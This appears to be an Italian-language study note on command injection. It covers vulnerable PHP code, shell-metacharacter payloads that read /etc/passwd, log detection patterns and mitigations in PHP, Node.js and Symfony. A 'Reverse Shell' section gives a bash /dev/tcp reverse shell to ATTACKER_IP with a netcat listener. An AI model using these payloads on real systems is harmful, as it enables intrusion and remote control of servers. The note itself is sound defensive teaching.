Skip to main content
  1. Concetti/

Command Injection

·4 mins
Alessio Barnini
Author
Alessio Barnini
Table of Contents

Cosa fa
#

Input utente viene inserito direttamente in un comando di sistema senza sanitizzazione. Il server non distingue dati da istruzioni -- l'attaccante esegue comandi arbitrari sul sistema operativo.

Input utente viene inserito direttamente in un comando di sistema senza sanitizzazione. Il server non distingue dati da istruzioni -- l'attaccante esegue comandi arbitrari sul sistema operativo.

Command Injection e' esecuzione arbitraria di comandi sul sistema.

La differenza chiave: Path Traversal e' limitato alla lettura. Command Injection ha accesso completo al sistema con i privilegi del processo web.


Come funziona
#

Il server costruisce un comando concatenando input utente. I metacaratteri della shell (;, |, &, `, $()) permettono di aggiungere comandi arbitrari alla stringa.

// Codice vulnerabile PHP
$target = $_GET['host'];
$output = shell_exec("ping -c 1 " . $target);
echo $output;

Input legittimo: 8.8.8.8 → esegue ping -c 1 8.8.8.8

Input malevolo: 8.8.8.8; cat /etc/passwd → esegue:

ping -c 1 8.8.8.8
cat /etc/passwd    # comando iniettato

Operatori di concatenazione
#

OperatoreComportamentoEsempio payload
;Esegue entrambi i comandi sempre8.8.8.8; cat /etc/passwd
&&Esegue il secondo solo se il primo ha successo8.8.8.8 && cat /etc/passwd
||Esegue il secondo solo se il primo falliscex || cat /etc/passwd
|Pipe -- passa stdout del primo al secondo8.8.8.8 | cat /etc/passwd
`cmd`Subshell -- esegue e sostituisce il risultato`cat /etc/passwd`
$(cmd)Subshell alternativa$(cat /etc/passwd)

Funzioni PHP vulnerabili
#

Quando vedi queste funzioni in un source code review -- attenzione:

FunzioneCosa fa
passthru()Esegue comando, stampa output direttamente
system()Esegue comando, restituisce ultima riga output
exec()Esegue comando, restituisce output come array
shell_exec()Esegue comando via shell, restituisce output come stringa
popen()Apre pipe verso un processo
`...`Backtick -- equivalente a shell_exec()

Dal Command Injection alla Reverse Shell
#

Command Injection e' spesso il vettore iniziale per ottenere una reverse shell. Una volta confermato che l'input viene eseguito:

# Step 1: verifica che l'injection funzioni
8.8.8.8; whoami

# Step 2: verifica connettivita' verso l'esterno
8.8.8.8; ping -c 1 ATTACKER_IP

# Step 3: apri reverse shell
8.8.8.8; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Dall'attaccante: nc -lvnp 4444 in ascolto.

Vedi reverse-shell per il dettaglio del meccanismo.


Come appare nei log
#

Access log Apache/Nginx:

GET /ping?host=8.8.8.8%3B+cat+/etc/passwd HTTP/1.1 200
#                     ^ %3B = ; URL-encoded

GET /search?needle=test|cat+/etc/passwd HTTP/1.1 200
GET /page?file=8.8.8.8%26%26+id HTTP/1.1 200

Pattern da cercare: %3B, %7C, %26 (;, |, & URL-encoded) nei parametri GET/POST.


Lab eseguiti
#

PortSwigger Command Injection -- settimana 8:

  • passthru() PHP con concatenazione diretta
  • Blind injection (nessun output visibile -- inferenza via timing o out-of-band)

OverTheWire Natas livello 9:

  • grep con input utente non sanitizzato: grep $input dictionary.txt
  • Payload: '' ; cat /etc/natas_webpass/natas10

Mitigazione
#

ApproccioCome
Evitare shell functionsUsare API native invece di shell_exec -- es. socket PHP invece di ping
Whitelist inputAccettare solo caratteri attesi: [0-9.]+ per un IP
Escape dell'inputescapeshellarg() in PHP -- racchiude l'input in apici singoli
Least privilegeIl processo web non deve girare come root

Dev parallel: Questo e' un errore da developer PHP/Node che si incontra spesso in applicazioni legacy. Le funzioni da evitare e le alternative sicure:

PHP -- funzioni pericolose vs sicure:

// Pericoloso: input utente diretto nella shell
$output = shell_exec("ping -c 1 " . $_GET['host']);
$output = exec("nmap " . $userInput);

// Sicuro: escapeshellarg() racchiude l'input in apici singoli
$safe = escapeshellarg($_GET['host']);
$output = shell_exec("ping -c 1 " . $safe);
// 8.8.8.8; cat /etc/passwd diventa '8.8.8.8; cat /etc/passwd' (stringa letterale)

// Piu' sicuro: escapeshellcmd() per il comando completo
$output = shell_exec(escapeshellcmd("ping -c 1 " . $_GET['host']));

// Meglio: evitare la shell completamente con API native
// Invece di shell_exec("curl http://..."), usa Guzzle HTTP Client

Node.js -- exec vs execFile:

// Pericoloso: exec spawna una shell, interpreta metacaratteri
const { exec } = require('child_process');
exec('ls ' + userInput, callback); // userInput = "; cat /etc/passwd"

// Sicuro: execFile non spawna una shell
const { execFile } = require('child_process');
execFile('ls', [userInput], callback); // userInput e' un argomento letterale

Symfony -- Process component:

// Sicuro: array di argomenti, nessuna interpolazione shell
use Symfony\Component\Process\Process;
$process = new Process(['ls', $userInput]);
$process->run();

La differenza fondamentale: exec('cmd ' + input) passa tutto alla shell che interpreta i metacaratteri. execFile('cmd', [input]) e new Process(['cmd', input]) passano l'array direttamente al kernel come argv, bypassando completamente la shell.


Scenario Reale
#

Alert Wazuh su web server: richiesta HTTP con %3B in un parametro. Nei log Apache:

GET /tools/ping?host=192.168.1.1%3B+id HTTP/1.1 200

Il 200 OK significa che il comando e' stato eseguito. Investigazione:

  1. Controlla i log successivi -- ha provato whoami, cat /etc/passwd?
  2. Cerca tentativi di download verso IP esterni -- possibile staging di payload
  3. Verifica se e' arrivata una connessione outbound (reverse shell) -- ss -tnp sull'host

Collegato a
#

  • path-traversal -- stessa famiglia A03, ma navigazione filesystem invece di esecuzione
  • owasp-top10 -- A03 Injection, categoria padre
  • reverse-shell -- obiettivo finale spesso raggiunto tramite command injection
  • bandit-09 -- lab OTW dove hai visto passthru() vulnerabile

Related